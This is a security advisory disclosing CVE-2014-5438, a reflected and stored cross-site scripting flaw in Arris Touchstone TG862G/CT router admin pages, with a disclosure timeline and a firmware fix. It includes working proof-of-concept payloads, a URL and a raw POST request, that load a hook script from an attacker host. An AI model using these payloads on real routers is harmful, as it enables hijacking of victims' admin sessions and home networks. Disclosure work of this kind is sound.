Arris Touchstone TG862G/CT Cross Site Scripting

`-----------  
Vendor:  
-----------  
Arris Interactive, LLC (http://www.arrisi.com/)  
ISP: Comcast Xfinity  
  
-----------------------------------------  
Affected Products/Versions:  
-----------------------------------------  
HW: Arris Touchstone TG862G/CT (Xfinity branded)  
SW: Version 7.6.59S.CT (Tested)  
  
-----------------  
Description:  
-----------------  
Title: Cross-site Scripting (XSS)  
CVE: CVE-2014-5438  
CWE: CWE-79: http://cwe.mitre.org/data/definitions/79.html  
Researcher: Seth Art - @sethsec  
  
-------------------------------------------------------------  
POC - Reflected, post authentication XSS:  
-------------------------------------------------------------  
  
http://10.0.0.1/connected_devices_computers_edit.php?&computer_name=%3Cscript%20src=%27http://10.0.0.101:3000/hook.js%27%3E%3C/script%3E  
  
---------------------------------------------------------  
POC - Stored, post authentication XSS:  
---------------------------------------------------------  
  
POST /managed_sites_add_keyword.php HTTP/1.1  
Host: 10.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0)  
Gecko/20100101 Firefox/30.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://10.0.0.101/managed_sites_add_keyword.php?&index=0  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 104  
  
keyword=%22%3E%3Cscript+src%3D%27http%3A%2F%2F10.0.0.101%3A3000%2Fhook.js%27%3C%2Fscript%3E&block=yes  
  
Notes on stored XSS: You could argue that stored XSS on an router  
admin application that is only used by one person is not that big of a  
deal, mainly because the attacker would need authenticated access to  
"plant" the malicious payload. Unfortunately, because the tested  
version was also vulnerable to CSRF and reflected XSS, the risk is  
much greater. An admin who fell victim to a CSRF or reflected XSS  
attack once could be forced into planting a JavaScript backdoor, that  
would call back to the attacker every time the victim admin visits the  
page with the malicious stored XSS payload.  
  
-------------  
Solution:  
-------------  
I tested my Comcast Xfinity device on December 10th, 2014 and it is no  
longer vulnerable (version 7.6.86L.CT). If you have an Arris  
modem/router, contact your ISP (or Arris) to verify that your firmware  
has been updated to address this vulnerability... or you could fire up  
Burp and see for yourself ;)  
  
-----------------------------  
Disclosure Timeline:  
-----------------------------  
2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product  
2014-07-16: Arris responded and escalated issue to Tier 2  
2014-07-17: Arris requested vulnerability details  
2014-07-17: Vulnerability report sent to Arris Tier 2  
2014-07-18: Arris confirmed receipt and began investigation  
2014-08-04: Requested update from Arris  
2014-08-05: Arris confirms issue has been escalated to engineering team  
2014-08-06: Attended call with Arris to walk through findings  
2014-09-18: Notified Arris that CVE-2014-5438 will be used to identify  
this vulnerability  
2014-09-25: December 6th suggested as the disclosure date  
2014-10-13: Arris requested disclosure date of December 15th  
2014-12-15: Public disclosure  
  
  
`